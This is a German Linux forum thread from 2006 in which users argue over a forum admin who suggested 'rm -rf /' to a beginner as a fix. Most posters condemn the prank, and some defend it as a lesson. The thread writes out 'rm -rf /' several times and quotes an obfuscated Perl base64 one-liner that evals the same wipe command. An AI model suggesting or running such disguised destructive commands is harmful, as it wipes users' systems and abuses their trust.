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rm -rf / als Forentipp?

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nikaya

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03.06.2006, 16:56

rm -rf / als Forentipp?

Hallo,
was haltet Ihr davon?

http://www.rootforum.de/forum/viewtopic.php?t=40340
http://www.rootforum.de/forum/viewtopic.php?t=40195

Also ich finde es völlig daneben "rm -rf /" einem Newbie als Lösung vorzuschlagen,ohne irgendeinen Hinweis dieses nicht ernst zu nehmen.
Und das dass auch noch von einem Forum Admin kommt finde ich besonders erschütternd.Gerade diese besitzen einen Vertrauensvorsprung und Neulinge vertrauen ihnen blind.
Auch der Hinweis dass es sich um ein "Profi-Forum" handelt,welches nur für Administratoren und Menschen mit profunden Linuxkenntnissen gedacht ist,entschuldigt m.E. nicht ein derart grob fahrlässiges Verhalten.Eine Forkbomb oder dergleichen hätte als "erzieherische Massnahme" gereicht.
Auch das anschließend sich noch darüber lustig gemacht wird ist imho nicht in Ordnung.
So etwas schadet der "hilfreichen" Community nur.
The most wonderful thing in the world is silence. And how noisy thoughts are!
Nanavira Thera

kongo2002

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03.06.2006, 17:34

RE: rm -rf / als Forentipp?

Zitat

Original von John Doe
Und das dass auch noch von einem Forum Admin kommt finde ich besonders erschütternd.Gerade diese besitzen einen Vertrauensvorsprung und Neulinge vertrauen ihnen blind.
Auch der Hinweis dass es sich um ein "Profi-Forum" handelt,welches nur für Administratoren und Menschen mit profunden Linuxkenntnissen gedacht ist,entschuldigt m.E. nicht ein derart grob fahrlässiges Verhalten.

da kann ich dir nur zustimmen - dieser hinweis ist wirklich grob "unsportlich". auch die anschließenden diskussionen sind schon mehr als arrogant und engstirnig

rudib

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3

03.06.2006, 17:38

RE: rm -rf / als Forentipp?

"Joe User" = BOFH?
Seien Sie vorsichtig mit Gesundheitsbüchern - Sie könnten an einem Druckfehler sterben. [Mark Twain]

031mt

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03.06.2006, 18:13

Wer einen Root- oder Vserver betreibt, der sollte das nötige Wissen haben um hierauf nicht hereinzufallen. Wer dies allerdings nicht weiss, der tut mit dem Ausführen dieser Kommandozeile sich und seinen spambelasteten Mitmenschen im Netz einen grossen Gefallen.

fh_blade

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5

03.06.2006, 18:34

Das finde ich echt unverschämt....
Und das ist wirklich nicht witzig.
Jeder war doch ein Anfänger.
Man hätte deren Forum "kindergartenforum.de" nennen können...

031mt

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03.06.2006, 18:54

Zitat

Original von fh_blade
Das finde ich echt unverschämt....
Und das ist wirklich nicht witzig.
Jeder war doch ein Anfänger.
Man hätte deren Forum "kindergartenforum.de" nennen können...

Du bist also der Meinung, dass man einen Server, der eine potenzielle juristische Gefahr für den Eigentümer bzw. für andere Server im Netz darstellt von einem Unwissenden administrieren lassen kann?

Sowas nennt man "Fahrlässigkeit".

dertobi123

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7

03.06.2006, 19:04

Grundsätzlich stimme ich zu, Anfänger sollten einen gewissen "Schutz" geniessen.

Andererseits muss man bei Dingen wie Servern, die via statischer IP erreichbar sind, andere Maßstäbe ansetzen. Wenn ich das neuste Gerät von Heckler&Koch nutzen mag, dann gehört da ein entsprechendes (zumindest) Grundwissen dazu, damit ich mir nicht ins Knie schiesse. Root-Server sind Waffen, jedem der solche Waffen nutzt/"administriert" Verlange ich (zumindest) ein (halbwegs solides) Grundwissen ab. Andernfalls sind wir bei der von 031mt angesprochenen "Fahrlässigkeit", die zu Lasten anderer Admins geht (Stichwort Offene Mail-Relays usw. usf.).

Wir reden hier nicht über Kinder-Spielzeug, nur um das nochmal allen ins Gedächtnis zu rufen ...

fh_blade

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8

03.06.2006, 19:08

Zitat

Original von 031mt
Du bist also der Meinung, dass man einen Server....

Das habe ich nicht gesagt...Ich finde es einfach übertrieben,auf so eine Art Problem zu lösen.Es gibt doch andere Möglichkeiten wie zum Beispiel ihm zu erklären,dass seine Kentnisse nicht ausreichen würden....Und nicht so Brutal.Er hat viel Zeit für diesen Projekt investiert und was hat er jetzt?gar nix....

rudib

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9

03.06.2006, 19:10

Prinzipiell habt Ihr recht. Schuld daran ist aber nicht der "Admin", der auf diese Art und Weise noch weiter reingerissen wird, sondern dessen Arbeitgeber, der ja wohl ganz offensichtlich nichts in Ausbildung seiner IT-Mitarbeiter investiert.
Hauptsache billig!
Wahrscheinlich nach dem Motto: "Können Sie LINUX fehlerfrei buchstabieren?"
Seien Sie vorsichtig mit Gesundheitsbüchern - Sie könnten an einem Druckfehler sterben. [Mark Twain]

dertobi123

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10

03.06.2006, 19:16

Zitat

Original von fh_blade

Zitat

Original von 031mt
Du bist also der Meinung, dass man einen Server....

Das habe ich nicht gesagt...Ich finde es einfach übertrieben,auf so eine Art Problem zu lösen.Es gibt doch andere Möglichkeiten wie zum Beispiel ihm zu erklären,dass seine Kentnisse nicht ausreichen würden....Und nicht so Brutal.Er hat viel Zeit für diesen Projekt investiert und was hat er jetzt?gar nix....

Wenn ich nicht weiss, was ich tue, lasse ich es sein.

D.h. ich nehme nicht das neuste Heckler&Koch Modell in die Hand, ich lege keine Munition ein und ich schiesse nicht.

Analog dazu führe ich keine Befehle aus, bei denen ich nicht weiss, was Sie bewirken (können).

dertobi123

Anfänger

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11

03.06.2006, 19:20

Zitat

Original von rudib
Prinzipiell habt Ihr recht. Schuld daran ist aber nicht der "Admin", der auf diese Art und Weise noch weiter reingerissen wird, sondern dessen Arbeitgeber, der ja wohl ganz offensichtlich nichts in Ausbildung seiner IT-Mitarbeiter investiert.
Hauptsache billig!
Wahrscheinlich nach dem Motto: "Können Sie LINUX fehlerfrei buchstabieren?"


Ich stelle einfach mal die Behauptung auf, dass jemand, der auch nur einen noch so winzigen Bruchteil seines Auskommens mit Linux verdient, a) zwei der geläufigsten Optionen von rm nicht kennt und b) wild "irgendwelche" Befehle aus einem Forum ausführt.

Andernfalls würden wir objektiv gesehen von Fahrlässigkeit, bzw. gar grober Fahrlässigkeit sprechen, was entsprechende arbeitsrechtliche Konsequenzen nach sich zieht.

kongo2002

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12

03.06.2006, 20:34

habe ich das nicht richtig verstanden, oder war einer der "betroffenen" nicht angeblich 15 jahre alt. damit hätte sich das mit der mangelnden ausbildung ja erledigt ;)

mordi

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13

03.06.2006, 21:39

also erstmal muss ich sagen, dass es mir echt hochkommt wenn ich sowas hier lese.

irgendwann fängt jeder mal an, wie hier so schön gesagt wurde und er ist vllt. direkt sehr ehrgeizig gewesen. ich hab auch direkt mit gentoo begonnen, bin noch immer am anfang, aber doch sehr stolz auf das, was ich bisher allein geschafft habe.


Zitat

Original von dertobi123
Analog dazu führe ich keine Befehle aus, bei denen ich nicht weiss, was Sie bewirken (können).


er hat sich an ein forum gewandt, bei dem er dachte, hilfe zu bekommen. daraufhin antwortete ihm ein administrator (!!!), er solle diese befehle ausführen. man sollte zumindest erwarten, dass dieser einem nicht mutwillig das ganze system zerschießt.

dummheit und unwissenheit hin oder her, dieses verhalten ist nicht fahrlässig, erzieherisch oder vernünftig, sondern meines erachtens nach einfach nur böswillig.

ein guter rat hätte evtl. auch helfen können, aber auf die weise hat die linuxgemeine nur wieder ein potenzielles mitglied verloren.

031mt

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14

04.06.2006, 00:13

Zitat

Original von mordi
dummheit und unwissenheit hin oder her, dieses verhalten ist nicht fahrlässig, erzieherisch oder vernünftig, sondern meines erachtens nach einfach nur böswillig.


Nein, so etwas nennt man "Pädagogische Maßnahme". Es gibt den berühmten Spruch "Wenn man keine Ahnung hat - einfach mal die Fresse halten". Dieser Satz trifft im übertragenen Sinne auch auf Hobbyadmins und ihre tollen Server zu. Natürlich fängt jeder klein an und jeder soll üben - aber bitte nicht im öffentlichen Netz, wo seine Fehler den Erfolg und das Gehalt anderer negativ beeinflussen können.

Zitat

Original von mordiein guter rat hätte evtl. auch helfen können, aber auf die weise hat die linuxgemeine nur wieder ein potenzielles mitglied verloren.

"Die Linuxgemeinde hat wieder ein potenzielles Mitglied verloren". Ich erhebe mich mit der Hand auf der Brust und senke trauernd meinen Blick.

Ernsthaft: Sind "wir" wirklich auf jedes "Mitglied" angewiesen? Mir persönlich ist es piepschnurzegal, ob mein Nachbar nun Windows, MacOS, Solaris oder Linux benutzt - soll er doch das nehmen, was ihm am Besten gefällt. Die Zeiten in denen man den Kampf David gegen Goliath führte sind vorbei (auch wenn das weltfremde Personen wie Stallman nicht wahrhaben wollen). Wer eine Welt aus idealen haben will, der soll sich einen C64 kaufen, Sonnenblumen neben dran heften und auf das Netzteil "ATOMKRAFT - NEIN, DANKE" kleben.

bahl

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15

04.06.2006, 00:32

also der Lerneffekt von rm -rf / ist sicherlich enorm :)

Quellcode

 
1
2

root :-) # grep -ir shit /usr/src/linux
/usr/src/linux/drivers/net/sunlance.c: *      This was the sun4c killer. Shit, stupid bug.

Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von »bahl« (04.06.2006, 00:32)

capoeira

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04.06.2006, 02:20

prinzipiell nett ist es natürlich nicht, ein
#rm -rf /
vorzuschlagen, alter wurscht, ausbildung wurscht, aber als jemand der mit linux/unix auch nur rumspielt:
wenn er net weiß was rm macht oder was / ist, dann dumdidum
soll er sich doch zum rumspielen auf seinem XP daheim nen apache oder IIS installieren, und nicht das internet noch zusätzlich belasten/verseuchen!!!

ich persönlich hätte den "tipp" net geben, des sieht ziemlich böswillig aus, stimmt.
andererseits war ich jetzt 2 tage auf ner linuxmesse u i muß sagen, die lust dazu is während dieser zeit gewachsen.

jeder der suse installiert hat oder ubuntu is der meinung er is ein guru! einen gewissen groll muß ma da scho unterdrücken.

zitat:"... Als anwender eines linux/unixsystems muß man verstehen was man tut...."
kann i nur sagen, wenn das verständnis erst nachher kommt, pech gehabt!

noch zum forum: die gesprächskultur läßt zu wünschen übrig und ich bin froh dass sich das in DIESEM forum während der letzten jahre geändert hat :)
... nur ein weiterer tag im leben eines naren ... :P

MyD

Öber Süperpröfi

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17

04.06.2006, 17:19

also wer so einen befehl blind eintippt ohne sich vorher zu informieren was denn das ergebnis erzielt der ist schlicht weg selber schuld.
MfG MyD

nikaya

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04.06.2006, 18:05

Zitat

Original von MyD
also wer so einen befehl blind eintippt ohne sich vorher zu informieren was denn das ergebnis erzielt der ist schlicht weg selber schuld.

Naja,der war jetzt sehr simpel.Im Thread taucht aber auch folgender Befehl auf:

Quellcode

 
1

perl -MMIME::Base64 -e 'eval decode_base64 "c3lzdGVtKCJybSAtcmYgLyIpOw=="'

Ich habe keine Ahnung was der bewirkt,scheint aber wohl auf das selbe hinaus zu laufen.Ich würde auch nicht erst ein Buch über Perl-Scripting lesen um zu verstehen was das bedeutet.

Einige Foren haben einen Sandkasten wo Moderatoren "unwürdige" Threads reinschieben.Sowas hat das Rootforum doch auch.
Alle fangen mal klein an.Durch so ein arrogantes Verhalten züchtet man nicht die Elite von morgen.
The most wonderful thing in the world is silence. And how noisy thoughts are!
Nanavira Thera

MyD

Öber Süperpröfi

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19

04.06.2006, 20:15

jap solche leute regen mich auch total auf.
gibt aber auch einige der sorte im irc - die meinen sie seien es und kommen dann mit solchen befehlen.
MfG MyD

??Linux

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20

05.06.2006, 22:00

Sicher das es ein LinuxRoot-Forum ist?
Ich glaube das ist eine Forum gegen Linux.... (hab nur den Therad gelesen, aber nach diesem Thread schaut es so aus)
Intel Pentium 3,6GHz
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